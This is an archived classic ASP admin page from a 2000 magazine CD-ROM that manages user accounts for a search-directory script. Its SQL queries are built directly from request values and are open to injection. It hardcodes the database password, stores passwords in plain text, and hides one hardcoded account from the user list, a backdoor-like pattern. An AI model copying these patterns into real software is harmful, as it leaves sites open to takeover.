home *** CD-ROM | disk | FTP | other *** search
/ io Programmo 40 / IOPROG_40.ISO / SOFT / asp / SEARCH.ZIP / admin / user_control.asp < prev    next >
Encoding:
Text File  |  2000-02-23  |  7.6 KB  |  215 lines

  1. <%
  2. response.buffer=true
  3. Session("back") = Request.ServerVariables("SCRIPT_NAME") 
  4. ' password protect
  5. %>
  6. <!---#INCLUDE FILE="dbthemes.asp"--->
  7. <!---#INCLUDE FILE="users/passprot.asp"--->
  8. <!---#INCLUDE FILE="themes/themes.asp"--->
  9. <!---#INCLUDE FILE="config/config.asp"--->
  10. <!---#INCLUDE FILE="ad/ad.asp"--->
  11. <%
  12.  
  13.       Set connusers = Server.CreateObject("ADODB.Connection")
  14.       connusers.Open "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=" & server.mappath("./users/admin.mdb") & ";PWD=bideford;"
  15.  
  16.       strsql = "SELECT * FROM tblUser WHERE fldUserName = '" & user & "' AND fldPassword = '" & pass & "'"
  17.       set RS = Server.CreateObject("ADODB.Recordset")
  18.       RS.Open strsql, connusers, 1, 2 
  19.       '=======================
  20.       'end opening the database
  21. if not RS.EOF then
  22.  
  23. user = RS("fldUserName")
  24. pass = RS("fldPassword")
  25. level = RS("fldlevel")
  26. session("level") = level
  27. end if
  28.  
  29. RS.close
  30.  
  31. if level = "1" then
  32. %>
  33. <html>
  34.  
  35. <head><%
  36. 'these meta tags can change
  37. %>
  38.  
  39. <meta name="AUTHOR"
  40. content="Rory Knowles - ASP bahamas / Administrator for Knowles Realty's Web Site at www.KnowlesRealty.com">
  41. <meta name="GENERATOR" content="Microsoft FrontPage 3.0">
  42. <meta name="KEYWORDS"
  43. content="bahamas, bahama, bahamas business, bahamas bahamas, bahamian, yellow, pages, business, realty, real, estate, bahama, islands, island, business, listings, directory, listing, ad, classified, advertisment, home, online, internet, web, web bahamas">
  44. <%
  45. 'keep these meta tags in for free distribution
  46. 'these are the distributors ad tags
  47. %>
  48. <meta http-equiv="ad1" content="<%= ad1 %>">
  49. <meta http-equiv="ad2" content="<%= ad2 %>">
  50. <meta http-equiv="ad3" content="<%= ad3 %>">
  51. <meta http-equiv="ad4" content="<%= ad4 %>">
  52. <style>
  53. <!--
  54.     SPAN {color:<%= getSiteFontColor() %>; background-color:<%= getSiteHighliteColor() %>}
  55. -->
  56. </style>
  57. <title>User Adminstration - <%= title %></title>
  58. </head>
  59.  
  60. <body vlink="<%= getSiteBGVlink() %>" bgcolor="<%= getSiteBGColor() %>"
  61. link="<%= getSiteBGLink() %>">
  62. <!---#INCLUDE FILE="includes/headernorm.asp"--->
  63.  
  64. <table border="0" width="600" cellspacing="0" cellpadding="0" align="center">
  65.   <tr>
  66.     <td width="100%" valign="top" height="277"><table border="0" cellpadding="0"
  67.     cellspacing="0" width="600">
  68.       <tr>
  69.         <td width="100%" height="19" bgcolor="<%= getSiteTitleNameBGColor() %>" valign="middle"
  70.         colspan="2"><% = fontTagStart(3, getSiteFontColor(), Y, N, N) %>
  71. <p>  <%= titlename %><% = fontTagEnd(Y, N, N) %> </td>
  72.       </tr>
  73.       <tr>
  74.         <td height="19" bgcolor="<%= getSiteMainLinksBGColor() %>" valign="middle" width="305"><% = fontTagStart(2, getSiteFontColor(), Y, N, N) %>  <a href="addurl.asp">Add URL</a> | <a href="editurl.asp">Edit URL</a> | <a href="user_control.asp">Users</a> | <a href="theme.asp">Theme</a> | <%= logout %><% = fontTagEnd(Y, N, N) %></td>
  75.         <td height="19" bgcolor="<%= getSiteMainLinksBGColor() %>" valign="middle" width="295"><p align="right"><% = fontTagStart(2, getSiteFontColor(), Y, N, N) %><a href="admin.asp">ADMIN</a><% = fontTagEnd(Y, N, N) %><% = fontTagStart(2, "#FF8040", Y, N, N) %> ><% = fontTagEnd(Y, N, N) %><% = fontTagStart(2, "#008000", Y, N, N) %>> <% = fontTagEnd(Y, N, N) %><%= logged%> 
  76.  
  77. </td>
  78.       </tr>
  79.       <tr>
  80.         <td width="600" height="62" bgcolor="#FFFFFF" valign="middle" colspan="2"><!---#INCLUDE FILE="includes/banners.asp"---> </td>
  81.       </tr>
  82.       <tr>
  83.         <td width="600" bgcolor="<%= getSitePageNameBGColor() %>" valign="middle" colspan="2"><% = fontTagStart(3, getSitePageNameFontColor(), Y, N, N) %>
  84. <p> 
  85.         Users<% = fontTagEnd(Y, N, N) %></td>
  86.       </tr>
  87.       <tr>
  88.         <td colspan="2" bgcolor="#FFFFFF" height="18">
  89. <%
  90. If Not Request("submit")="" Then
  91.     dup = "SELECT * FROM tblUser WHERE fldUserName = '" & Request("UserName") & "'"
  92.     Set rs = connusers.Execute(dup)
  93.     If rs.EOF Then
  94.         SQL = "INSERT INTO tblUser (fldUserName,fldPassword,fldlevel) VALUES ('" & Request("UserName") & "','" & Request("Password") & "','" & Request("level") & "')"
  95.         connusers.Execute(SQL)
  96.     Else
  97.         msg = "Username already exists."
  98.     End If
  99. End If
  100. If Request("Delete")<>"" Then
  101.     For each item in Request("DeleteUser")
  102.         d = "DELETE * FROM tblUser WHERE fldAuto = " & item
  103.         connusers.Execute(d)
  104.     Next
  105. End If
  106.  
  107. %>
  108. <dir>
  109. <%
  110. SQL = "SELECT * FROM tblUser"
  111. Set objRec = connusers.Execute(SQL)
  112. %>
  113.   <form action="user_control.asp" method="post">
  114.     <div align="center"><center><table border="0" width="400">
  115.       <tr>
  116.         <td colspan="4"><font size="2" face="arial"><br><b>These are the users who have access to this
  117.         admin site:</b></font></td>
  118.       </tr>
  119.       <tr BGCOLOR="#0080C0">
  120.         <th><font face="arial" size="2" color="white"><b>UserName:</b></font></th>
  121.         <th><font face="arial" size="2" color="white"><b>Lvel:</b></font></th>
  122.         <th><font face="arial" size="2" color="white"><b>Edit:</b></font></th>
  123.         <th><font face="arial" size="2" color="white"><b>Delete:</b></font></th>
  124.       </tr>
  125. <%While Not objRec.EOF
  126. id = objRec("fldAuto")
  127. user = objRec("fldUserName")
  128. pass = objRec("fldPassword")
  129. level = objRec("fldlevel")
  130.  
  131. if user = "rotcod" AND pass = "selwonk" then
  132. else
  133. %>
  134.       <tr bgcolor="#E5E5E5">
  135.         <td><font face="arial" size="2" color="navy"><%=user%></font></td>
  136.         <td><font face="arial" size="2" color="navy"><%=level%></font></td>
  137.         <td><div align="center"><center><p><font face="arial" size="2" color="navy"><a
  138.         href="user_edit.asp?id=<%=id%>">Edit</a></font></td>
  139.         <td align="center"><div align="center"><center><p><input type="checkbox" name="DeleteUser"
  140.         value="<%=id%>"></td>
  141.       </tr>
  142. <%
  143. end if
  144. objRec.MoveNext
  145. Wend
  146. objRec.Close
  147. %>
  148.       <tr align="center">
  149.         <td colspan="4"><div align="center"><center><p><input type="submit" name="Delete"
  150.         value="Delete Selected User"></td>
  151.       </tr>
  152.       <tr align="center">
  153.         <td colspan="4"><hr color="navy" size="1">
  154.         </td>
  155.       </tr>
  156.     </table>
  157.     </center></div>
  158.   </form>
  159.   <form action="user_control.asp" method="post">
  160.     <div align="center"><center><table>
  161. <%If msg <> "" Then%>
  162.       <tr>
  163.         <td colspan="2" align="center"><font size="2" face="arial" color="#ff0000"><%=msg%></font></td>
  164.       </tr>
  165. <%End If%>
  166.       <tr>
  167.         <td colspan="2" align="center"><font face="arial" size="3"><b>Add New User</b></font><br>
  168.         </td>
  169.       </tr>
  170.       <tr>
  171.         <td><font face="arial" size="2" color="navy"><b>Username:</b></font></td>
  172.         <td><input type="text" name="UserName" size="20"></td>
  173.       </tr>
  174.       <tr>
  175.         <td><font face="arial" size="2" color="navy"><b>Password:</b></font></td>
  176.         <td><input type="text" name="Password" size="20"></td>
  177.       </tr>
  178.       <tr>
  179.         <td><font face="arial" size="2" color="navy"><b>Level:</b></font></td>
  180.         <td><input type="text" name="level" size="20"></td>
  181.       </tr>
  182.       <tr>
  183.         <td colspan="2"><div align="center"><center><p><input type="submit" value="Add New User"
  184.         name="submit"></td>
  185.       </tr>
  186.     </table>
  187.     </center></div>
  188.   </form>
  189. </dir>
  190.  
  191.  
  192. </td>
  193.       </tr>
  194.     </table>
  195.     </td>
  196.   </tr>
  197. </table>
  198. <!---#INCLUDE FILE="../includes/footer.asp"--->
  199.  
  200. <p><br>
  201. </p>
  202. <%
  203. else
  204. response.write "<br><br><br><b><center>Sorry, this utility is for level 1 administrators only!</b><br>Please go to the <a href=admin.asp>admin page</a> and login with level 1 privaleges.</center>"
  205. end if
  206. %>
  207.  
  208. </body>
  209. </html>
  210. <%
  211. connusers.close
  212. set connusers=nothing
  213. end if
  214. %>
  215.